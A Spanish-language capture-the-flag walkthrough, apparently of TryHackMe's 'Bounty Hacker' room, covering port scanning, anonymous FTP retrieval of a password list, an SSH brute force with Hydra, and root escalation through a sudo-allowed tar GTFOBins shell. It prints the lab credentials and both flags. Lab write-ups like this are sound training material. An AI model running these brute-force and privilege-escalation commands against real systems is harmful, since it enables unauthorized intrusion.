Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.112.52/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://10.10.112.52/images/]
/server-status        (Status: 403) [Size: 277]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

ftp

Info:

```
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
|_-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
```

Por lo que vemos hay un `ftp` que se puede entrar como anonimo...

```
ftp anonymous@<IP>
```

Una vez dentro si intentamos meter algun comando nos mete en modo pasivo, por lo que dentro de ese modo pondremos...

```
passive off
pasv off
```

Uno de los dos sirve, esperaremos entorno a unos 3 minutos hasta que nos eche de ese modo y podremos listar...

```
ls
```

Info:

```
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 07  2020 .
drwxr-xr-x    2 ftp      ftp          4096 Jun 07  2020 ..
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```

No descargamos esos 2 archivos...

```
get locks.txt

get task.txt
```

Una vez visto que uno es un diccionario de contraseñas y el otro te da la pista de un usuario `lib` tiraremos un hydra...

```
hydra -l lin -P locks.txt ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 15:13:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 26 tasks per 1 server, overall 26 tasks, 26 login tries (l:1/p:26), ~1 try
per task
[DATA] attacking ssh://10.10.112.52:22/
[22][ssh] host: 10.10.112.52   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 15:13:40
```

Con estas credenciales nos conectamos por ssh...

```
ssh lin@<IP>
```

Una vez dentro leemos la primera flag...

user.txt (flag1)

```
THM{CR1M3_SyNd1C4T3}
```

y si hacemos `sudo -l` veremos los permisos que tenemos como sudo...

```
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

Con esto podemos ser `root` de un comando, para saber todo esto nos iremos a la pagina de GTFOBins para ver lo que se puede hacer con estas cosas...

URL: https://gtfobins.github.io

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Si ejecutamos eso seriamos `root` y ya podriamos leer la ultima flag...

root.txt (flag2)

```
THM{80UN7Y_h4cK3r}
```